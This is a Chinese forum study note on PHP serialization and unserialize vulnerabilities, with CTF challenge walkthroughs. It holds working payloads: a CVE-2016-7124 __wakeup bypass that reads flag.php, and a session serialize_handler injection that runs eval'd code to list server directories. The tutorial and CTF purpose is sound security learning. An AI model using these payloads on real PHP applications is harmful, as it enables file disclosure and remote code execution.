本帖最后由 pukr 于 2020-2-23 23:06 编辑
2020.02.21
php序列化与反序列化序列化与反序列化的两个函数: serialize() unserialize()
1.序列化定义 对象、数组等转化成字符串。 对于存储一个对象,转换成字符串可以实现持久保存和网络传输。
2.serialize()函数 - <?php
- class test_seralize
- {
- public $num=5;
- private $str='abcd';
- var $test = '123';
- }
- $class1 = new test_seralize;
- $class1_ser = serialize($class1);
- print_r($class1_ser);
- ?>
复制代码
O:13:"test_seralize":3:{s:3:"num";i:5;s:18:"test_seralizestr";s:4:"abcd";s:4:"test";s:3:"123";} O指的是这是一个对象(object),13是对象名的长度,”test_serialize”是对象名,3指的是对象中的成员数,{}中的是成员的信息。本例对象中有3个成员,s是string,长度为3,成员名是num,$num的值是整型,值是5。类似的,如果是private类型,则会在成员名前加上对象名,相应字符串长度也会增加,它会在两侧加入空字节。若是protected类型,则会变成“空字节*空字节”即: 所以在传入序列化字符串进行反序列化时需要注意补齐空字节。 2.反序列化 把字符串还原回对象、数组。
函数:unserialize();
- <?php
- // class test_seralize
- // {
- // public $num=5;
- // private $str='abcd';
- // var $test = '123';
- // }
- // $class1 = new test_seralize;
- //$class1_ser = (serialize($class1));
- // print_r($class1_ser);
- $class2='O:13:"test_seralize":3:{s:3:"num";i:5;s:16:"test_seralizestr";s:4:"abcd";s:4:"test";s:3:"123";}';
- echo $class2;
- $class2_uns=unserialize($class2);
- var_dump($class2_uns);
- print_r($class2_uns);
- ?>
复制代码
3.反序列化漏洞利用 magic methods https://www.php.net/manual/zh/language.oop5.magic.php
构造函数__construct():当对象创建(new)时会自动调用。但在unserialize()时是不会自动调用的。 析构函数__destruct():当对象被销毁时会自动调用。 __wakeup() :如前所提,unserialize()时会自动调用。 其他常见方法: __construct()//创建对象时触发 __destruct() //对象被销毁时触发 __call() //在对象上下文中调用不可访问的方法时触发 __callStatic() //在静态上下文中调用不可访问的方法时触发 __get() //用于从不可访问的属性读取数据 __set() //用于将数据写入不可访问的属性 __isset() //在不可访问的属性上调用isset()或empty()触发 __unset() //在不可访问的属性上使用unset()时触发 __invoke() //当脚本尝试将对象调用为函数时触发
比较重要的方法 __sleep() serialize() 函数会检查类中是否存在一个魔术方法 __sleep()。如果存在,该方法会先被调用,然后才执行序列化操作。此功能可以用于清理对象,并返回一个包含对象中所有应被序列化的变量名称的数组。如果该方法未返回任何内容,则 NULL 被序列化,并产生一个E_NOTICE 级别的错误。 对象被序列化之前触发,返回需要被序列化存储的成员属性,删除不必要的属性。
__wakeup() unserialize() 会检查是否存在一个 __wakeup() 方法。如果存在,则会先调用 __wakeup 方法,预先准备对象需要的资源。
预先准备对象资源,返回void,常用于反序列化操作中重新建立数据库连接或执行其他初始化操作。
- <?php
- class test123{
- var $test = '123';
- function __wakeup(){
- echo "__wakeup";
- echo "</br>";
- }
- function __construct(){
- echo "__construct";
- echo "</br>";
- }
- function __destruct(){
- echo "__destruct";
- echo "</br>";
- }
- }
- $class2 = 'O:7:"test123":1:{s:4:"test";s:3:"123";}';
- print_r($class2);
- echo "</br>";
- $class2_unser = unserialize($class2);
- print_r($class2_unser);
- echo "</br>";
- ?>
复制代码unserialize后会执行__wakeup()函数和析构函数如__destruct()函数。所以理想情况是在类内部就有漏洞代码,这样传参是序列化字符串后反序列化就会调用方法执行漏洞。
- class Caiji{
- public function __construct($ID, $sex, $age){
- $this->ID = $ID;
- $this->sex = $sex;
- $this->age = $age;
- $this->info = sprintf("ID: %s, sex: %s, age: %d", $this->ID, $this->sex, $this->age);
- }
- public function getInfo(){
- echo $this->info . '<br>';
- }
- /**
- * serialize前调用 用于删选需要被序列化存储的成员变量
- * @return array [description]
- */
- public function __sleep(){
- echo __METHOD__ . '<br>';
- return ['ID', 'sex', 'age'];
- }
- /**
- * unserialize前调用 用于预先准备对象资源
- */
- public function __wakeup(){
- echo __METHOD__ . '<br>';
- $this->info = sprintf("ID: %s, sex: %s, age: %d", $this->ID, $this->sex, $this->age);
- }
- }
- $me = new Caiji('twosmi1e', 'male',20);
- $abc=$me->getInfo();
- echo "------".$abc."+++++".'<br>';//存在__sleep(函数,$info属性不会被存储
- $temp = serialize($me);
- echo $temp . '<br>';
- $me = unserialize($temp);//__wakeup()组装的$info
- $def=$me->getInfo();
- echo "------".$def."+++++".'<br>';
- ?>
复制代码__toString()
__toString() 方法用于一个类被当成字符串时应怎样回应。例如 echo $obj; 应该显示些什么。此方法必须返回一个字符串,否则将发出一条 E_RECOVERABLE_ERROR 级别的致命错误。 - class SoFun{
- protected $file='index.php';
- function __destruct(){
- if(!empty($this->file)) {
- if(strchr($this->file,"\")===false && strchr($this->file, '/')===false)
- show_source(dirname (__FILE__).'/'.$this ->file);
- else
- die('Wrong filename.');
- }
- }
- function __wakeup(){
- $this-> file='index.php';
- }
- public function __toString(){
- return '' ;
- }
- }
- if (!isset($_GET['file'])){
- show_source('index.php');
- }
- else{
- $file=base64_decode($_GET['file']);
- echo unserialize($file);
- }
复制代码分析一下源码,__destruct方法中show_source(dirname (__FILE__).'/'.$this->file);会读取file文件内容,我们需要利用这里来读flag.php,思路大概就是构造序列化对象然后base64编码传入,经过unserialize将file设为flag.php,但是__wakeup会在unserialize之前执行,所以要绕过这一点。
CVE-2016-7124 当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行
构造序列化对象:O:5:"SoFun":1:{S:7:"\00*\00file";s:8:"flag.php";} 绕过__wakeup:O:5:"SoFun":2:{S:7:"\00*\00file";s:8:"flag.php";} 注意:因为file是protect属性,所以需要加上\00*\00。再base64编码。 payload:Tzo1OiJTb0Z1biI6Mjp7Uzo3OiJcMDAqXDAwZmlsZSI7czo4OiJmbGFnLnBocCI7fQ==
测试demo:
- error_reporting(0);
- class Twosmil1e{
- public $key = 'twosmi1e';
- function __destruct(){
- if(!empty($this->key)){
- if($this->key == 'twosmi1e')
- echo 'success';
- }
- }
- function __wakeup(){
- $this->key = 'you failed 23333';
- echo $this->key;
- }
- public function __toString(){
- return '';
- }
- }
- //$class=new Twosmil1e;
- //$test1=serialize($class);
- //echo $test1;
- if(!isset($_GET['answer'])){
- show_source('serialize.php');
- }else{
- $answer = $_GET['answer'];
- echo $answer;
- echo '<br>';
- echo unserialize($answer);
- }
复制代码正常序列: O:9:"Twosmil1e":1:{s:3:"key";s:8:"twosmi1e";}
__wakeup先执行,__destroy判断不成立 再改为任意大于1的属性个数: O:9:"Twosmil1e":2:{s:3:"key";s:8:"twosmi1e";}
session反序列化漏洞 session存储机制 php默认的SESSION会话机制存储在文件系统的会话数据的内容是已经序列化后的内容,程序执行session_start()后PHP会自动读取文件并unserialize反序列化成数组赋值给超全局变量$_SESSION。 session保存在服务器端,放在文件或者数据库中。默认情况下PHP.ini中设置session的保存方式是files(session.save_handler= files),保存路径是session.save_path的值,文件名由sess_sessionid命名,文件内容是session序列化后的值。
·session.save_path 设置session的存储路径 ·session.save_handler 设定用户自定义存储函数 ·session.auto_start 指定会话模块是否在请求开始时启动一个会话 ·session.serialize_handler 定义用来序列化/反序列化的处理器名字。默认使用php 除了默认的session序列化引擎php外,还有几种引擎,不同引擎存储方式不同 ·php_binary 键名的长度对应的ASCII字符+键名+经过serialize() 函数反序列处理的值 ·php 键名+竖线+经过serialize()函数反序列处理的值 ·php_serialize serialize()函数反序列处理数组方式 如这是我的数据库课设,打开了session,session默认被保存成php。
php_seralize格式 - <?php
- ini_set('session.serialize_handler', 'php_serialize');
- session_start();
- $_SESSION['name'] = 'pukr';
- ?>
复制代码php_binary格式 - <?php
- ini_set('session.serialize_handler', 'php_binary');
- session_start();
- $_SESSION['name'] = 'pukr';
- ?>
复制代码
三种处理器的存储格式差异,就会造成在session序列化和反序列化处理器设置不当时的安全隐患。
一个题目作为例子。 源码: - <?php
- ini_set('session.serialize_handler', 'php');
- session_start();
- class OowoO
- {
- public $mdzz;
- function __construct()
- {
- $this->mdzz = 'phpinfo();';
- }
- function __destruct()
- {
- eval($this->mdzz);
- }
- }
- if(isset($_GET['phpinfo']))
- {
- $m = new OowoO();
- }
- else
- {
- highlight_string(file_get_contents('index.php'));
- }
- ?>
复制代码观察知,只要传一个GET的phpinfo参数就能$m = new OowoO(),就会执行__construct函数。 php版本:5.6.21 php大于5.5.4的版本中默认使用php_serialize规则。
序列化和反序列化得处理机制不同,造成数据无法正确反序列化,那么就可以通过构造伪造任意数据。 当session.upload_progress.enabled选项设置为on时,通过查手册:
依照手册的例子做出POST提交文件。
- <!DOCTYPE html>
- <html lang="zh">
- <head>
- <meta charset="utf-8">
- </head>
- <body>
- <form action="http://web.jarvisoj.com:32784/index.php" method=POST enctype="multipart/form-data">
- <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123">
- <input type="file" name="file">
- <input type="submit" name="sunmit">
- </form>
- </body>
- </html>
复制代码构造获得字符串: |O:5:"OowoO":1:{s:4:"mdzz";s:37:"print_r(scandir("/opt/lampp/htdocs"));";} 记得格式,加一道竖杠 获得文件目录。
读取文件信息
简单概述过程,即为:使用session.upload_progress在全局session多一个变量如$_session[‘test’],赋值为|123,则通过php_serialize存储为a:1:{s:4:”test”;s:4:”|123”}
a:1为默认的,s:4:”test”为key,s:4:”|123”为value,而到了index.php,更改了存储方式,以|作为key,value分界线,执行session_start();则123进行了反序列化,而123可控,则可被利用。
|